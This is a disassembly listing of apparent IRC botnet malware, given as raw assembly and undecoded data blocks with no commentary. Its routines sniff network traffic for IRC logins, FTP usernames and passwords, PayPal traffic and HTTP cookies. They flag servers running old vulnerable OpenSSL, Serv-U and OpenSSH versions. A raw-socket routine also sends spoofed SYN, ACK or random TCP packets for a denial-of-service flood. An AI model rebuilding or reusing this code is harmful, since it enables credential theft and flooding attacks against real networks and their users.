		dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0DED2E856h
		dd 5690022Ch, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h
		dd 68FFFFFDh, 435798h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0B00C15FFh, 75FF004Ch,	9268E8D0h
		dd 5659FFFFh, 0DE4EE890h, 0BB53022Ch, 434EB0h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CAF8Ch, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 8C68FFFEh
		dd 50004357h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 577C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0AEA415FFh, 0B70F004Ch, 75FF50C0h, 15FFF4h, 50004CB0h
		dd 8B7F048Dh, 4EC4C504h, 34FF0043h, 434EA085h, 4C858D00h
		dd 68FFFFFDh, 435748h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 815FFFFh,	50004CAFh
		dd 43571C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CB00C15h
		dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2CDCAFE8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CDCE0, eax
		mov	eax, offset dword_4CDCE0
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A

loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2

loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491

loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7

loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507

loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E

loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E

loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4

loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615

loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B

loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4CAF88
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4CAFF8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435AC8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h

loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4CAF20
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_435A98
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h

loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26E0000h
		nop

loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h

loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4CAF8C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905

loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h

loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h

loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1

loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A64
		jmp	loc_4129E7
; ---------------------------------------------------------------------------

loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_435A30
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_4359FC
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------

loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4359C4

loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------

loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43598C
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 30E80000h, 900227DDh
		dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 5AF468FFh, 0E8500043h, 8DCAh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF8915E8h, 565959FFh, 2CD4FBE8h, 5E5F9002h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CAEE4
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------

loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB018
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4CAF54
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4CAF74
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4CAF74
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4CAF74
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CAF74
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4CAF70
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------

loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4CAF74
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 2770C0Ch
		nop
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27708A1h
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CAF74
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CAF74
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CAF70
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CAF74
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4CAFD8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27708A1h
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
